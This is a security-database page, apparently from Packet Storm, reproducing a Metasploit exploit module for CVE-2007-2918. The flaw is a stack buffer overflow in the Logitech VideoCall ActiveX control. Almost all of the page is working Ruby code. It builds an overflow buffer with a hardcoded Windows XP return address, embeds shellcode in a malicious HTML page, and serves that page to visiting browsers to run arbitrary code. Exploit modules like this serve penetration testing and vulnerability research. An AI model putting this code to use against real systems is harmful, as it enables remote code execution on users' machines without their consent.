Logitech VideoCall ActiveX Control Buffer Overflow

2009-11-2600:00:00

packetstormsecurity.com

0.893 High

EPSS

Percentile

98.5%

JSON

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Logitech VideoCall ActiveX Control Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the Logitech VideoCall ActiveX  
Control (wcamxmp.dll 2.0.3470.448). By sending a overly long string to the  
"Start()" method, an attacker may be able to execute arbitrary code.   
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-2918' ],  
[ 'OSVDB', '36820'],  
[ 'BID', '24254' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x09\x0a\x0d'\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP Pro SP2 English', { 'Offset' => 120, 'Ret' => 0x7c941eed } ],  
],  
'DisclosureDate' => 'May 31 2007',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Randomize some things  
vname = rand_text_alpha(rand(100) + 1)  
strname = rand_text_alpha(rand(100) + 1)  
  
# Set the exploit buffer   
sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V') + p.encoded   
  
# Build out the message  
content = %Q|  
<html>  
<object classid='clsid:BF4C7B03-F381-4544-9A33-CB6DAD2A87CD' id='#{vname}'></object>  
<script language='javascript'>  
var #{vname} = document.getElementById('#{vname}');  
var #{strname} = new String('#{sploit}');  
#{vname}.Start(#{vname}, #{vname}, #{strname});   
</script>  
</html>  
|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

0.893 High

EPSS

Percentile

98.5%

JSON

Related for PACKETSTORM:82977